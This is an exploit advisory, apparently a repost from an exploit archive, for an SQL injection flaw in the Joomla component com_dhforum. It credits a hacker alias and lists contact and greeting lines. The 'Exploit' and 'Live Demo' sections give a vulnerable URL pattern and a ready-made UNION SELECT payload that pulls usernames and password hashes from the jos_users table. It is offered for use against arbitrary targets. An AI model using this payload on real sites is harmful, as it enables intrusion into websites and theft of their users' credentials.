38 lines
No EOL
1.1 KiB
Text
38 lines
No EOL
1.1 KiB
Text
==============================================================================
|
|
_ _ _ _ _ _
|
|
/ \ | | | | / \ | | | |
|
|
/ _ \ | | | | / _ \ | |_| |
|
|
/ ___ \ | |___ | |___ / ___ \ | _ |
|
|
IN THE NAME OF /_/ \_\ |_____| |_____| /_/ \_\ |_| |_|
|
|
|
|
|
|
==============================================================================
|
|
======
|
|
[»] Joomla Component com_dhforum SQL Injection Vulnerability
|
|
========================================================================
|
|
|
|
======
|
|
|
|
[»] Script: [ joomla Component ]
|
|
[»] Language: [ PHP ]
|
|
[»] Founder: [ ViRuSMaN <v.-m@live.com - totti_55_3@yahoo.com> ]
|
|
[»] Greetz to: [ HackTeach Team ,Egyptian Hackers ,All My Friends &pentestlabs.com ]
|
|
[»] My Home: [ HackTeach.Org , Islam-Attack.Com ]
|
|
|
|
###########################################################################
|
|
|
|
===[ Exploit ]===
|
|
|
|
[»] http://[target].com/[path]/index.php?option=com_dhforum&view=grouplist&id=[SQL]
|
|
|
|
|
|
|
|
===[ Live Demo ]===
|
|
|
|
[»] http://server/index.php?option=com_dhforum&view=grouplist&id=-1+union+select+concat
|
|
|
|
(username,0x3a,password)+from+jos_users--
|
|
|
|
Author: ViRuSMaN <-
|
|
|
|
########################################################################### |